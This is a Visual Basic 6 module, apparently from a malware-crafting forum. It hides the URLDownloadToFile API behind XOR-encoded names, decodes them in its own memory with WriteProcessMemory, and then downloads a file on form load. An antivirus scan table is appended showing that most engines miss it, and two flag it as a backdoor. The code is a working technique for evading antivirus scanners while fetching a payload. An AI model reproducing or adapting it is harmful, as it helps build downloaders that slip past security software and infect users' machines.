'---------------------------------------------------------------------------------------
' Module    : mAPIObfuscation
' Author    : Karcrack
' Now$      : 29/08/2009  13:54
' Used for? : Obfuscate API Declaration
'---------------------------------------------------------------------------------------

'MSVBVM60
public Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)

'KERNEL32
public Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long

public Declare Function IsBadReadPtr Lib "KERNEL32" (ByRef lp As Any, ByVal ucb As Long) As Long
 
'api download
Public Declare Function URLDownloadToFile Lib "Š�“’�‘" Alias "ª­³»�ˆ‘“�ž›«�¹–“š¾" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean
    Dim lAddr           As Long
    Dim sBuff           As String * &H200
    Dim lLib            As Long
    Dim lFunc           As Long
 
    If App.LogMode = 0 Then GoTo OUT
 
    lAddr = App.hInstance& - Len(sBuff)
 
    Do
        lAddr = lAddr + Len(sBuff)
        If IsBadReadPtr(ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT
        Call CopyBytes(Len(sBuff), ByVal sBuff$, ByVal lAddr&)
        lLib = InStr(1, sBuff, sLib, vbBinaryCompare)
        lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare)
    Loop Until (lLib <> 0) And (lFunc <> 0)
 
    lLib = lAddr + lLib - 1
    lFunc = lAddr + lFunc - 1
 
    If WriteProcessMemory(-1, ByVal lLib&, ByVal E(sLib), Len(sLib), ByVal 0&) = 0 Then GoTo OUT
    If WriteProcessMemory(-1, ByVal lFunc&, ByVal E(sFunc), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT
 
    DeObfuscateAPI = True: Exit Function
OUT:
    DeObfuscateAPI = False: Exit Function
End Function
 
Public Function E(ByVal s As String) As String
    Dim i               As Long
 
    For i = 1 To Len(s)
        E = E & Chr$(Asc(Mid$(s, i, 1)) Xor &HFF)
    Next i
End Function

private sub form_load()
   If DeObfuscateAPI("Š�“’�‘", "ª­³»�ˆ‘“�ž›«�¹–“š¾") = True Then
        Descarga = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    End If
end sub

Avast	24/10/2011	5.0	
AVG	24/10/2011	10.0.0.1190	
Avira AntiVir	24/10/2011	7.11.7.12	
ClamAV	24/10/2011	0.97	
Comodo	24/10/2011	4.0	
Emsisoft	24/10/2011	5.1.0.3	Backdoor.Win32.RShot!IK
F-Prot	24/10/2011	6.3.3.4884	
Ikarus	24/10/2011	T31001097	Backdoor.Win32.RShot
TrendMicro	24/10/2011	9.200.0.1012